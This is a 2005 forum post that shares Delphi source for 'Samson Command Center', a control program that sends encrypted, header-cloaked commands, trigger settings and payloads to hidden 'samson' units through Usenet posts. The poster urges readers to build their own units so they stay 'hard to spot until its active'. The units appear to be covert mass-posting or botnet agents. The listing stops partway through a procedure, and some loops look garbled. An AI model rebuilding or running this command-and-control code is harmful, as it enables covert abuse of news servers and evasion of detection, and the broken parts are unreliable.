samson complex, a tool for the underdog

Discussion in 'Computer Support' started by underdog bites back, Dec 12, 2005.

  1. this contains the complete source for samson command center and flash posting program
    have fun boys and girls, you write your own samson when you figure out how this works
    that way each samson in unique and hard to spot until its active in posting mode when its already too late

    The source is Delphi and should work with Delphi 5 or higher

    it uses
    DCPcrypt

    A Delphi cryptographic component package
    Written by David Barton (email )
    http://www.hertreg.ac.uk/ss/
    The Jedi Component library and INDY 9

    program scc;

    uses
    Forms,
    sunit1 in 'sunit1.pas' {MainForm},
    snew in 'snew.pas' {NameDlg},
    newserverform in 'newserverform.pas' {ServerForm},
    password in 'password.pas' {PasswordDlg};

    {$R *.res}

    begin
    Application.Initialize;
    Application.CreateForm(TMainForm, MainForm);
    Application.CreateForm(TNameDlg, NameDlg);
    Application.CreateForm(TServerForm, ServerForm);
    Application.CreateForm(TPasswordDlg, PasswordDlg);
    Application.Run;
    end.

    unit snew;

    interface

    uses Windows, SysUtils, Classes, Graphics, Forms, Controls, StdCtrls,
    Buttons;

    type
    TNameDlg = class(TForm)
    Label1: TLabel;
    SrvName: TEdit;
    OKBtn: TButton;
    CancelBtn: TButton;
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    NameDlg: TNameDlg;

    implementation

    {$R *.dfm}

    end.

    object NameDlg: TNameDlg
    Left = 739
    Top = 282
    BorderStyle = bsDialog
    Caption = 'New Server Dialog'
    ClientHeight = 93
    ClientWidth = 233
    Color = clBtnFace
    ParentFont = True
    OldCreateOrder = True
    Position = poScreenCenter
    PixelsPerInch = 96
    TextHeight = 13
    object Label1: TLabel
    Left = 8
    Top = 9
    Width = 93
    Height = 13
    Caption = 'Enter Server Name:'
    end
    object SrvName: TEdit
    Left = 8
    Top = 27
    Width = 217
    Height = 21
    TabOrder = 0
    end
    object OKBtn: TButton
    Left = 70
    Top = 59
    Width = 75
    Height = 25
    Caption = 'OK'
    Default = True
    ModalResult = 1
    TabOrder = 1
    end
    object CancelBtn: TButton
    Left = 150
    Top = 59
    Width = 75
    Height = 25
    Cancel = True
    Caption = 'Cancel'
    ModalResult = 2
    TabOrder = 2
    end
    end

    unit password;

    interface

    uses Windows, SysUtils, Classes, Graphics, Forms, Controls, StdCtrls,
    Buttons;

    type
    TPasswordDlg = class(TForm)
    Label1: TLabel;
    Password: TEdit;
    OKBtn: TButton;
    CancelBtn: TButton;
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    PasswordDlg: TPasswordDlg;

    implementation

    {$R *.dfm}

    end.

    object PasswordDlg: TPasswordDlg
    Left = 730
    Top = 428
    BorderStyle = bsDialog
    Caption = 'Password Dialog'
    ClientHeight = 93
    ClientWidth = 233
    Color = clBtnFace
    ParentFont = True
    OldCreateOrder = True
    Position = poScreenCenter
    PixelsPerInch = 96
    TextHeight = 13
    object Label1: TLabel
    Left = 8
    Top = 9
    Width = 76
    Height = 13
    Caption = 'Enter password:'
    end
    object Password: TEdit
    Left = 8
    Top = 27
    Width = 217
    Height = 21
    PasswordChar = '*'
    TabOrder = 0
    end
    object OKBtn: TButton
    Left = 70
    Top = 59
    Width = 75
    Height = 25
    Caption = 'OK'
    Default = True
    ModalResult = 1
    TabOrder = 1
    end
    object CancelBtn: TButton
    Left = 150
    Top = 59
    Width = 75
    Height = 25
    Cancel = True
    Caption = 'Cancel'
    ModalResult = 2
    TabOrder = 2
    end
    end

    unit newserverform;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls;

    type
    TServerForm = class(TForm)
    SrvName: TEdit;
    Label1: TLabel;
    OKBtn: TButton;
    CancelBtn: TButton;
    VersionEdit: TComboBox;
    TwinEdit: TEdit;
    PairCheck: TCheckBox;
    procedure OKBtnClick(Sender: TObject);
    procedure PairCheckClick(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    ServerForm: TServerForm;

    implementation

    {$R *.dfm}

    procedure TServerForm.OKBtnClick(Sender: TObject);
    begin
    if VersionEdit.ItemIndex=-1 then
    MessageDlg('You must specify the server version', mtError, [mbOK], 0)
    else
    begin
    self.ModalResult:=mrOk;
    // close;
    end;
    end;

    procedure TServerForm.PairCheckClick(Sender: TObject);
    begin
    TwinEdit.Enabled:=PairCheck.Checked;
    if TwinEdit.Enabled then TwinEdit.Color:=clWindow else
    TwinEdit.Color:=clbtnface;
    end;

    end.

    object ServerForm: TServerForm
    Left = 194
    Top = 207
    Width = 242
    Height = 189
    Caption = 'New server name & version'
    Color = clBtnFace
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clWindowText
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    OldCreateOrder = False
    PixelsPerInch = 96
    TextHeight = 13
    object Label1: TLabel
    Left = 8
    Top = 9
    Width = 93
    Height = 13
    Caption = 'Enter Server Name:'
    end
    object SrvName: TEdit
    Left = 8
    Top = 27
    Width = 217
    Height = 21
    TabOrder = 0
    end
    object OKBtn: TButton
    Left = 70
    Top = 131
    Width = 75
    Height = 25
    Caption = 'OK'
    Default = True
    TabOrder = 1
    OnClick = OKBtnClick
    end
    object CancelBtn: TButton
    Left = 150
    Top = 131
    Width = 75
    Height = 25
    Cancel = True
    Caption = 'Cancel'
    ModalResult = 2
    TabOrder = 2
    end
    object VersionEdit: TComboBox
    Left = 8
    Top = 104
    Width = 217
    Height = 21
    ItemHeight = 13
    TabOrder = 3
    Text = 'Version'
    Items.Strings = (
    '1'
    '2'
    '3'
    '4')
    end
    object TwinEdit: TEdit
    Left = 8
    Top = 51
    Width = 217
    Height = 21
    Color = clBtnFace
    Enabled = False
    TabOrder = 4
    end
    object PairCheck: TCheckBox
    Left = 8
    Top = 80
    Width = 97
    Height = 17
    Caption = 'Server Pair'
    TabOrder = 5
    OnClick = PairCheckClick
    end
    end


    unit sunit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, ComCtrls, ExtCtrls, StdCtrls, DCPcrypt, SHA1, Blowfish,
    JvAppStorage, JvAppXMLStorage, JvFormPlacement, JvComponent,
    JvAppRegistryStorage, IdMessage, ICQClient, IdComponent, IdTCPConnection,
    IdTCPClient, IdMessageClient, IdNNTP, IdBaseComponent, IdAntiFreezeBase,
    IdAntiFreeze, LabelSpin, Grids, ValEdit, ToolWin, RMD160, Twofish,
    Rijndael, RC6, RC5, RC2, Misty1, Mars, IDEA, Gost, Cast128;

    type
    TBuffer = array[0..8191] of byte;
    TParams = packed record
    case boolean of
    true:(raw:TBuffer);
    false:(
    primary,
    pVar,
    window,
    winVar,
    polling,
    pollVar,
    newsgroups,
    postings,
    priming,
    primeVar,
    trigger,
    triggerVar,
    throttle,
    throttleVar,
    icqPoll,
    icqPollVar,
    icqWindow,
    icqWindowVar,
    cloakmsgsize,
    payload:integer);

    end;
    TMainForm = class(TForm)
    PageControl1: TPageControl;
    TabMain: TTabSheet;
    nntp: TIdNNTP;
    IdAntiFreeze1: TIdAntiFreeze;
    OpenDialog: TOpenDialog;
    SaveDialog: TSaveDialog;
    TabConfig: TTabSheet;
    TabPaload: TTabSheet;
    ToolBar3: TToolBar;
    ToolButton9: TToolButton;
    ToolButton10: TToolButton;
    ToolBar4: TToolBar;
    ToolButton13: TToolButton;
    ToolButton14: TToolButton;
    Panel1: TPanel;
    PrimaryVariance: TLabelSpinEdit;
    WindowVariance: TLabelSpinEdit;
    PostingsProcessCount: TLabelSpinEdit;
    PrimingVariance: TLabelSpinEdit;
    TriggerVariance: TLabelSpinEdit;
    PrimaryDelay: TLabelSpinEdit;
    WindowPeriod: TLabelSpinEdit;
    NGProcessCount: TLabelSpinEdit;
    PrimingPeriod: TLabelSpinEdit;
    TriggerPeriod: TLabelSpinEdit;
    PayloadList: TListBox;
    Throttle: TLabelSpinEdit;
    ThrottleVariance: TLabelSpinEdit;
    icq: TICQClient;
    SLE: TValueListEditor;
    SLV: TValueListEditor;
    message: TIdMessage;
    ToolBar5: TToolBar;
    ConnectBtn: TToolButton;
    UploadBtn: TToolButton;
    ExitButton: TToolButton;
    ToolButton8: TToolButton;
    TabAbout: TTabSheet;
    AboutMemo: TMemo;
    PollingPeriod: TLabelSpinEdit;
    PollingVariance: TLabelSpinEdit;
    Label1: TLabel;
    Label2: TLabel;
    IcqWindowVariance: TLabelSpinEdit;
    IcqWindowPeriod: TLabelSpinEdit;
    IcqPollingPeriod: TLabelSpinEdit;
    IcqPollingVariance: TLabelSpinEdit;
    StoreReg: TJvAppRegistryStorage;
    RegStorage: TJvFormStorage;
    TabServersSCC: TTabSheet;
    SCCE: TValueListEditor;
    SCCV: TValueListEditor;
    ToolBar6: TToolBar;
    ToolButton20: TToolButton;
    ToolButton21: TToolButton;
    XMLStorage: TJvAppXMLFileStorage;
    FileStorage: TJvFormStorage;
    SaveButton: TToolButton;
    ToolButton4: TToolButton;
    LoadButton: TToolButton;
    NewsHost: TLabeledEdit;
    StaticText1: TStaticText;
    PortID: TLabelSpinEdit;
    LabeledEdit2: TLabeledEdit;
    LabeledEdit3: TLabeledEdit;
    TabCrypto: TTabSheet;
    EHashKey: TEdit;
    Oldkey: TEdit;
    LCKey: TLabel;
    LHashKey: TLabel;
    LCipher: TLabel;
    Bevel2: TBevel;
    Progress: TProgressBar;
    Newkey: TEdit;
    Label3: TLabel;
    Verifykey: TEdit;
    Label4: TLabel;
    DCP_blowfish1: TDCP_blowfish;
    DCP_sha11: TDCP_sha1;
    CAlgorithmLbl: TLabel;
    CAlgorithmCBx: TComboBox;
    HAlgorithmCBx: TComboBox;
    HAlgorithmLbl: TLabel;
    DCP_gost1: TDCP_gost;
    DCP_idea1: TDCP_idea;
    DCP_mars1: TDCP_mars;
    DCP_misty11: TDCP_misty1;
    DCP_rc21: TDCP_rc2;
    DCP_rc51: TDCP_rc5;
    DCP_rc61: TDCP_rc6;
    DCP_rijndael1: TDCP_rijndael;
    DCP_twofish1: TDCP_twofish;
    OldCAlgorithmCBx: TComboBox;
    OldHAlgorithmCBx: TComboBox;
    Label5: TLabel;
    Label6: TLabel;
    TabCloaking: TTabSheet;
    CloakingMessage: TMemo;
    GroupBox1: TGroupBox;
    NameEdit: TEdit;
    ToolButton12: TToolButton;
    ToolButton15: TToolButton;
    ToolButton16: TToolButton;
    Label7: TLabel;
    OldkeyVerify: TEdit;
    XReader: TLabeledEdit;
    GroupBox2: TGroupBox;
    subjectedit: TEdit;
    GroupsButton: TToolButton;
    StatusBar: TStatusBar;
    IniStorage: TJvFormStorage;
    ReplyEdit: TEdit;
    UserName: TLabeledEdit;
    PasswordEdit: TLabeledEdit;
    Cloaked: TToolButton;
    Flashed: TToolButton;
    ToolButton3: TToolButton;
    LogTab: TTabSheet;
    Log: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure deleteSamsonClick(Sender: TObject);
    procedure ToolButton13Click(Sender: TObject);
    procedure SLESelectCell(Sender: TObject; ACol, ARow: Integer;
    var CanSelect: Boolean);
    procedure ExitButtonClick(Sender: TObject);
    procedure ConnectBtnClick(Sender: TObject);
    procedure SaveSLEClick(Sender: TObject);
    procedure SCCESelectCell(Sender: TObject; ACol, ARow: Integer;
    var CanSelect: Boolean);
    procedure NewPayload(Sender: TObject);
    procedure UploadBtnClick(Sender: TObject);
    procedure SCCVStringsChange(Sender: TObject);
    procedure SLVStringsChange(Sender: TObject);
    procedure ValueChange(Sender: TObject);
    procedure FormActivate(Sender: TObject);
    procedure ToolButton12Click(Sender: TObject);
    procedure ToolButton10Click(Sender: TObject);
    procedure SCCNewsServers(Sender: TObject);
    procedure ToolButton15Click(Sender: TObject);
    procedure ToolButton16Click(Sender: TObject);
    procedure SCCDeleteClick(Sender: TObject);
    procedure VerifykeyChange(Sender: TObject);
    procedure OldkeyVerifyChange(Sender: TObject);
    procedure PortIDChange(Sender: TObject);
    procedure XReaderChange(Sender: TObject);
    procedure NewsHostChange(Sender: TObject);
    procedure nntpConnected(Sender: TObject);
    procedure nntpDisconnected(Sender: TObject);
    procedure SaveButtonClick(Sender: TObject);
    procedure LoadButtonClick(Sender: TObject);
    procedure GroupsButtonClick(Sender: TObject);
    procedure nntpNewGroupsList(const ANewsgroup: String; const ALow,
    AHigh: Integer; const AType: String; var ACanContinue: Boolean);
    procedure FlashedClick(Sender: TObject);
    procedure CloakedClick(Sender: TObject);
    procedure LogDblClick(Sender: TObject);
    private
    { Private declarations }
    CloakSize:integer;
    count: integer;
    FileLoaded: boolean;
    Filename: string;
    public
    { Public declarations }
    ServerList:TStrings;
    alpha: byte;
    alphadir: boolean;
    procedure KeyCheck;
    end;

    var
    Terminate:Boolean;
    Uploading:Boolean;

    var
    MainForm: TMainForm;

    implementation

    uses snew, newserverform, password;

    {$R *.dfm}

    procedure TMainForm.FormCreate(Sender: TObject);
    var i:integer;
    begin
    ServerList:=TStringList.Create;
    //TStringList(ServerList).Sorted:=true;
    FileName:=ExtractFilePath(Paramstr(0))+'samng.list';
    // Caption:=FileName;
    ServerList.LoadFromFile(FileName);
    if ServerList.Count>0 then GroupsButton.Hint:='List loaded sucessfully';
    iniStorage.StoredValues.Items[0].Value:=FileName;

    SLE.Strings.NameValueSeparator:='^';
    SCCE.Strings.NameValueSeparator:='^';
    //VLE.Strings.NameValueSeparator:=';';
    for i:= 0 to ComponentCount-1 do // cycle through all the form components add the
    begin // appropriate components to the combo boxes
    if Components is TDCP_blockcipher then
    begin
    CAlgorithmCBx.Items.AddObject(TDCP_blockcipher(Components).Algorithm,Components);
    OldCAlgorithmCBx.Items.AddObject(TDCP_blockcipher(Components).Algorithm,Components);
    end
    else if Components is TDCP_hash then
    begin
    HAlgorithmCBx.Items.AddObject(TDCP_hash(Components).Algorithm,Components);
    OldHAlgorithmCBx.Items.AddObject(TDCP_hash(Components).Algorithm,Components);
    end;
    if Components is TLabelSpinEdit then
    TLabelSpinEdit(Components).Tag:=TLabelSpinEdit(Components).Value;
    end;
    CAlgorithmCBx.ItemIndex:= 0; // set the first item as the default
    HAlgorithmCBx.ItemIndex:= 0;
    OldCAlgorithmCBx.ItemIndex:= 0; // set the first item as the default
    OldHAlgorithmCBx.ItemIndex:= 0;
    end;

    procedure TMainForm.deleteSamsonClick(Sender: TObject);
    begin
    if MessageDlg('Warning'+#13+#10+'Deleting control parameters can render control of the samson '+
    #13+#10+'unit impossible resulting in triggering of the unit'+#13+#10+
    'Do you want to continue?', mtWarning, [mbOK,mbCancel], 0)
    in [mrOk] then
    begin
    if (sle.row >=0) then
    sle.DeleteRow(sle.Row) else MessageDlg('Nothing selected to delete', mtError, [mbOK], 0);
    end; //wow
    end;

    procedure TMainForm.ToolButton13Click(Sender: TObject);
    begin
    if ServerForm.ShowModal=mrOk then
    begin
    if ServerForm.PairCheck.Checked then
    case ServerForm.VersionEdit.ItemIndex of
    0: SLE.Strings.Add('Pair_'+ServerForm.SrvName.Text+'^First='+ServerForm.SrvName.Text+

    ',Second='+ServerForm.TwinEdit.Text+',Host_A=,Host_B=,Password_A=,Password_B=,Port=119,Key=,XKey1=,Xkey2=,Pass
    phrase=,'+
    'Trigger_Phrase=,Version=1');
    1: SLE.Strings.Add('Pair_'+ServerForm.SrvName.Text+'^First='+ServerForm.SrvName.Text+

    ',Second='+ServerForm.TwinEdit.Text+',Host_A=,Host_B=,Password_A=,Password_B=,Port=119,Key=,XKey1=,Xkey2=,Pass
    phrase=,'+
    'Trigger_Phrase=,Trigger_Subject=,Warn_Email=,Warn_Email_2=,Version=2');
    2: SLE.Strings.Add('Pair_'+ServerForm.SrvName.Text+'^First='+ServerForm.SrvName.Text+

    ',Second='+ServerForm.TwinEdit.Text+',Host_A=,Host_B=,Password_A=,Password_B=,Port=119,Key=,XKey1=,Xkey2=,Pass
    phrase=,'+

    'Trigger_Phrase=,Trigger_Subject=,Trigger_ICQ_UID=,ICQ_UID_A=,ICQ_Password_A=,ICQ_UID_B=,ICQ_Password_B=,'+
    'Warn_Email=,Warn_Email_2=,Version=3');
    end else
    case ServerForm.VersionEdit.ItemIndex of
    0: SLE.Strings.Add(ServerForm.SrvName.Text+'^Host=,Password=,Port=119,Key=,Passphrase=,'+
    'Trigger_Phrase=,Version=1');
    1: SLE.Strings.Add(ServerForm.SrvName.Text+'^Host=,Password=,Port=119,Key=,Passphrase=,'+
    'Trigger_Phrase=,Trigger_Subject=,Warn_Email=,Warn_Email_2=,Version=2');
    2: SLE.Strings.Add(ServerForm.SrvName.Text+'^Host=,Password=,Port=119,Key=,Passphrase=,'+
    'Trigger_Phrase=,Trigger_Subject=,Trigger_ICQ_UID=,ICQ_UID=,Password=,'+
    'Warn_Email=,Warn_Email_2=,Version=3');
    end;
    end;
    end;

    procedure TMainForm.SLESelectCell(Sender: TObject; ACol, ARow: Integer;
    var CanSelect: Boolean);
    begin
    SLV.Strings.CommaText:= SLE.Strings.Values
    [SLE.Strings.Names
    [ARow-1]];

    end;

    procedure TMainForm.ExitButtonClick(Sender: TObject);
    begin
    close;
    end;

    procedure TMainForm.ConnectBtnClick(Sender: TObject);
    begin
    if nntp.Connected then nntp.Disconnect else
    nntp.Connect;
    end;

    procedure TMainForm.SaveSLEClick(Sender: TObject);
    begin
    Try
    if SaveDialog.Execute then
    SLE.Strings.SaveToFile(SaveDialog.FileName);
    except
    end;
    end;

    procedure TMainForm.SCCESelectCell(Sender: TObject; ACol, ARow: Integer;
    var CanSelect: Boolean);
    begin
    SCCV.Strings.CommaText:= SCCE.Strings.Values
    [SCCE.Strings.Names
    [ARow-1]];
    end;

    procedure TMainForm.NewPayload(Sender: TObject);
    begin
    OpenDialog.DefaultExt:='*';
    if OpenDialog.Execute then
    PayLoadList.Items.Add(OpenDialog.FileName);
    end;

    procedure TMainForm.UploadBtnClick(Sender: TObject);
    var header,data,text:string; l,q:integer;
    var
    Source, Dest: file;
    Buffer: TParams;
    Hash: TDCP_sha1;
    HashDigest,
    OldHashDigest: array[0..31] of byte;
    OldEncrypt,Encrypt: TDCP_blockcipher;
    Read: integer;
    nvs:string;
    //this function gets round a typecast failure
    function raw(i:integer):integer;
    begin
    result:=buffer.raw;
    end;
    begin
    nvs:=message.ExtraHeaders.namevalueseparator;
    message.Clear;
    message.Subject:=SubjectEdit.Text;
    message.Body.Assign(cloakingMessage.Lines);
    message.From.DisplayName:=nameEdit.Text;
    message.From.Address:=ReplyEdit.Text;
    CloakSize:=length(message.Body.Text);

    // crypto procedure
    FillChar(Buffer,Sizeof(Buffer),$00);
    FillChar(HashDigest,Sizeof(HashDigest),$FF); // fill the digest with $FF as the actual digest may not fill the entire digest
    FillChar(OldHashDigest,Sizeof(OldHashDigest),$FF); // fill the digest with $FF as the actual digest may not fill the entire
    digest
    Hash:= TDCP_sha1.Create(Self);
    // hash the new passphrase
    Hash.Init;
    Hash.UpdateStr(Newkey.Text); // hash the passphrase to get the key
    Hash.Final(HashDigest);
    // hash the old passphrase
    Hash.Init;
    Hash.UpdateStr(Oldkey.Text); // hash the passphrase to get the key
    Hash.Final(OldHashDigest);
    Hash.Free;
    data:='';
    OldEncrypt:= TDCP_blockcipher(OldCAlgorithmCBx.Items.Objects[CAlgorithmCBx.ItemIndex]); // get the component from
    the combo box
    OldEncrypt.Init(OldHashDigest,Sizeof(OldHashDigest)*8,nil); // initialize the cipher with the digest, IV= nil to generate one
    automatically
    (note: size in bits ie. sizeof(x)*8)
    OldEncrypt.EncryptCBC(OldHashDigest,OldHashDigest,Sizeof(HashDigest)); // encrypt the hash and write it to the file to
    use as passphrase
    OldEncrypt.Reset;
    for l:=0 to sizeof(oldhashDigest)-1 do
    data:=Data+intToHex(OldHashDigest[l],2); // confirmation
    //encrypt the new password;
    Text:=Newkey.Text;
    Q:=length(Text)-1;
    OldEncrypt.EncryptCBC(Text,Buffer,Q);
    for l:=0 to Q do
    data:=Data+intToHex(Buffer.raw[l],2); // confirmation
    //encrypt the new Algorithim;
    Text:=CAlgorithmCBx.Text;
    Q:=length(Text)-1;
    OldEncrypt.EncryptCBC(Text,Buffer,Q);
    for l:=0 to Q do
    data:=Data+intToHex(Buffer.raw[l],2); // confirmation
    //encrypt the new Hash Algo;
    Text:=HAlgorithmCBx.Text;
    Q:=length(Text)-1;
    OldEncrypt.EncryptCBC(Text,Buffer,Q);
    for l:=0 to Q do
    data:=Data+intToHex(Buffer.raw[l],2); // confirmation
    // add the whole lot to the x-samson header
    // first cloak the header so echelon cant find it easy
    text:='samson';
    Header:='X-';
    Q:=length(Text)-1;
    OldEncrypt.EncryptCBC(Text,Buffer,Q);
    for l:=0 to Q do
    Header:=Header+intToHex(Buffer.raw[l],2); // confirmation
    // message.Headers.Add(header+'='+data);
    message.ExtraHeaders.Add(header+nvs+data);
    OldEncrypt.Reset;
    // now we move to the new algorithm
    Encrypt:= TDCP_blockcipher(CAlgorithmCBx.Items.Objects[CAlgorithmCBx.ItemIndex]); // get the component from the
    combo box
    Encrypt.Init(HashDigest,Sizeof(HashDigest)*8,nil); // initialize the cipher with the digest, IV= nil to generate one
    automatically (note: size in
    bits ie. sizeof(x)*8)
    Header:='X-';
    Text:='params';
    Q:=length(Text)-1;
    OldEncrypt.EncryptCBC(Text,Buffer,Q);
    for l:=0 to Q do
    Header:=Header+intToHex(Buffer.raw[l],2); // confirmation
    // do the params
    Buffer.primary:=primarydelay.value;
    Buffer.pVar:=primaryVariance.value;
    Buffer.window:=WindowPeriod.Value;
    Buffer.winVar:=WindowVariance.Value;
    Buffer.polling:=PollingPeriod.Value;
    Buffer.pollVar:=PollingVariance.Value;
    Buffer.newsgroups:=NGProcessCount.Value;
    Buffer.postings:=PostingsProcessCount.Value;
    Buffer.priming:=PrimingPeriod.Value;
    Buffer.primeVar:=PrimingVariance.Value;
    Buffer.trigger:=TriggerPeriod.Value;
    Buffer.triggerVar:=TriggerVariance.Value;
    Buffer.throttle:=Throttle.Value;
    Buffer.throttleVar:=ThrottleVariance.Value;
    Buffer.icqPoll:=icqpollingPeriod.Value;
    Buffer.icqPollVar:=icqpollingVariance.Value;
    Buffer.icqWindow:=IcqWindowPeriod.Value;
    Buffer.icqWindowVar:=IcqWindowVariance.Value;

    encrypt.EncryptCBC(buffer,buffer,20*sizeof(integer));
    data:='';
    for l:=0 to (20*sizeof(integer))-1 do
    Data:=Data+intToHex(raw(l),2); // confirmation
    message.ExtraHeaders.Add(Header+nvs+data);
    // encrypt the payload
    // add the payload at the end of the cloaking message as hex strings
    for l:=0 to scce.Strings.Count-1 do
    begin
    try
    SCCV.Strings.CommaText:= SCCE.Strings.ValueFromIndex[l];
    NNTP.Host:=SCCV.Values['HOST'];
    for Q:=0 to SCCV.Strings.Count-1 do
    begin
    try
    if SCCV.Strings.Names[q]='newsgroup' then
    begin
    Message.NewsGroups.Clear;
    Message.NewsGroups.Add(SCCV.Strings.ValueFromIndex[Q]);
    nntp.Post(Message);
    end;
    except
    // just keep it quiet
    end;
    end;
    except
    // nevermind the verbose fail silently
    end;
    end;
    end;

    procedure TMainForm.SCCVStringsChange(Sender: TObject);
    begin
    if MainForm.ActiveControl=SCCV then
    SCCE.Strings.Values
    [SCCE.Strings.Names
    [SCCE.Row-1]]:=SCCV.Strings.CommaText;// .Text;

    end;

    procedure TMainForm.SLVStringsChange(Sender: TObject);
    begin
    if MainForm.ActiveControl=SLV then
    SLE.Strings.Values
    [SLE.Strings.Names
    [SLE.Row-1]]:=SLV.Strings.CommaText;// .Text;
    end;

    procedure TMainForm.ValueChange(Sender: TObject);
    begin
    with sender as TlabelSpinEdit do
    begin
    if value<>tag then
    color:=clskyblue else color:=clwhite;
    end;
    end;

    procedure TMainForm.FormActivate(Sender: TObject);
    var i:integer;
    begin
    for i:= 0 to ComponentCount-1 do // cycle through all the form components add the
    if Components is TLabelSpinEdit then
    begin
    TLabelSpinEdit(Components).Tag:=TLabelSpinEdit(Components).Value;
    ValueChange(Components);
    end;
    VerifyKeyChange(nil);
    OldKeyVerifyChange(nil);
    end;

    procedure TMainForm.ToolButton12Click(Sender: TObject);
    begin
    if MessageDlg('', mtWarning, [mbYes,mbNo], 0) = mrYes then
    Payloadlist.Clear;
    end;

    procedure TMainForm.ToolButton10Click(Sender: TObject);
    begin
    Payloadlist.Items.Delete(PayLoadList.ItemIndex);
    end;

    procedure TMainForm.SCCNewsServers(Sender: TObject);
    begin
    if NameDlg.ShowModal=mrOk then
    SCCE.Strings.Add(NameDLG.SrvName.Text+'^Host=,Username=,Password=,'+
    'Port=,Sender=scc,SenderAddress=,'+
    'newsgroup=borland.offtopic');

    end;

    procedure TMainForm.ToolButton15Click(Sender: TObject);
    begin
    SCCV.Strings.Add('newsgroup=borland.offtopic');
    SCCVStringsChange(sender);
    end;

    procedure TMainForm.ToolButton16Click(Sender: TObject);
    begin
    if sccv.Keys[sccv.Row]='newsgroup' then
    if MessageDlg('Confirm delete action', mtConfirmation, [mbYes,mbNo], 0) = mrYes then
    if sccv.row>0 then SCCV.Strings.Delete(sccv.Row-1);
    SCCVStringsChange(sender);
    end;

    procedure TMainForm.SCCDeleteClick(Sender: TObject);
    begin
    if scce.row> 0 then if MessageDlg('This action cannot be undone'+#13+#10+'are you sure?', mtWarning, [mbYes,mbNo], 0)
    = mrYes then
    begin
    Scce.DeleteRow(scce.Row);
    SCCV.Strings.Clear;
    end;
    end;

    procedure TMainForm.VerifykeyChange(Sender: TObject);
    var L:integer;
    begin
    if verifykey.Text <> newkey.Text then verifykey.Color:=clred else verifykey.color:=clwindow;
    L:=length(NewKey.text);
    case l of
    0..16:newkey.Color:=$008888FF;
    17..32:newkey.Color:=$0080FFFF;
    else
    NewKey.Color:=clLime;
    end;
    keycheck;
    end;

    procedure TMainForm.OldkeyVerifyChange(Sender: TObject);
    begin
    if oldkey.Text <> oldkeyverify.Text then oldkeyverify.color:=clred else oldkeyverify.Color:=clwindow;
    // if length(oldkey.text)<16 then Oldkey.Color:=$0080FFFF else Oldkey.color:=clWindow;
    keycheck;
    end;

    procedure TMainForm.PortIDChange(Sender: TObject);
    begin
    nntp.Port:=portid.value;
    end;

    procedure TMainForm.KeyCheck;
    begin
    if oldkey.Text=newkey.text then Caption:='Warning old and new keys are identical'
    else caption:='Samson Command Center Version 3 for Windows NT';
    end;

    procedure TMainForm.XReaderChange(Sender: TObject);
    begin
    NNTP.NewsAgent:=XReader.Text;
    end;

    procedure TMainForm.NewsHostChange(Sender: TObject);
    begin
    nntp.Host:=Newshost.Text;
    end;

    procedure TMainForm.nntpConnected(Sender: TObject);
    begin
    connectbtn.Caption:='Disconnect';
    uploadBtn.Visible:=true;
    end;

    procedure TMainForm.nntpDisconnected(Sender: TObject);
    begin
    ConnectBtn.Caption:='Connect';
    uploadBtn.Visible:=false;
    end;

    procedure TMainForm.SaveButtonClick(Sender: TObject);
    var Stream:TMemoryStream;
    Crypto: TDCP_blockcipher;
    Hash: TDCP_sha1;
    HashDigest: array[0..31] of byte;
    begin
    SaveDialog.FileName:=XmlStorage.FullFileName;
    SaveDialog.FilterIndex:=4;
    if SaveDialog.Execute then
    begin
    FileStorage.SaveFormPlacement;
    Stream:=TmemoryStream.Create;
    XmlStorage.Xml.SaveToStream(Stream);
    // get the password
    if PasswordDlg.showModal=mrOk then
    begin
    // do the crypto
    Hash:=TDCP_Sha1.Create(self);
    Crypto:=TDCP_Blowfish.Create(self);
    FillChar(HashDigest,Sizeof(HashDigest),$FF); // fill the digest with $FF as the actual digest may not fill the entire digest
    Hash.Init;
    Hash.UpdateStr(PasswordDlg.Password.text); // hash the passphrase to get the key
    Hash.Final(HashDigest);
    Crypto.Init(HashDigest,Sizeof(HashDigest)*8,nil); // initialize the cipher with the digest, IV= nil to generate one
    automatically (note: size in
    bits ie. sizeof(x)*8)
    Crypto.EncryptCBC(Stream.Memory^,Stream.Memory^,Stream.Size);
    Crypto.Free;
    Hash.Free;
    // save the file
    Stream.SavetoFile(SaveDialog.FileName);
    end;
    Stream.Free;
    end;
    end;

    procedure TMainForm.LoadButtonClick(Sender: TObject);
    var Stream:TMemoryStream;
    Crypto: TDCP_blockcipher;
    Hash: TDCP_sha1;
    HashDigest: array[0..31] of byte;
    begin
    OpenDialog.FilterIndex:=0;
    if OpenDialog.Execute then
    begin
    Stream:=TmemoryStream.Create;
    Stream.LoadFromFile(OpenDialog.FileName);
    // get the password
    if PasswordDlg.showModal=mrOk then
    begin
    // do the crypto
    Hash:=TDCP_Sha1.Create(self);
    Crypto:=TDCP_Blowfish.Create(self);
    FillChar(HashDigest,Sizeof(HashDigest),$FF); // fill the digest with $FF as the actual digest may not fill the entire digest
    Hash.Init;
    Hash.UpdateStr(PasswordDlg.Password.text); // hash the passphrase to get the key
    Hash.Final(HashDigest);
    Crypto.Init(HashDigest,Sizeof(HashDigest)*8,nil); // initialize the cipher with the digest, IV= nil to generate one
    automatically (note: size in
    bits ie. sizeof(x)*8)
    Crypto.DecryptCBC(Stream.Memory^,Stream.Memory^,Stream.Size);
    Crypto.Free;
    Hash.Free;
    end;
    XmlStorage.Xml.LoadFromStream(Stream);
    FileStorage.RestoreFormPlacement;
    end;
    end;

    procedure TMainForm.GroupsButtonClick(Sender: TObject);
    begin
    if not nntp.Connected then
    begin
    Statusbar.Panels[2].Text:='Offline, Please connect first';
    exit;
    end;
    ServerList.Clear;
    NNTP.GetNewsgroupList;
    TStringList(ServerList).Sort;
    Count:=0;
    end;

    procedure TMainForm.nntpNewGroupsList(const ANewsgroup: String; const ALow,
    AHigh: Integer; const AType: String; var ACanContinue: Boolean);
    begin
    if AType<>'n' then ServerList.Add(ANewsGroup);
    ACanContinue:=true;
    Inc(Count);
    StatusBar.Panels[1].Text:='Records loaded:'+intToStr(Count);
    end;

    procedure TMainForm.FlashedClick(Sender: TObject);
    var header,data,text:string; l,q:integer;
    var
    Source, Dest: file;
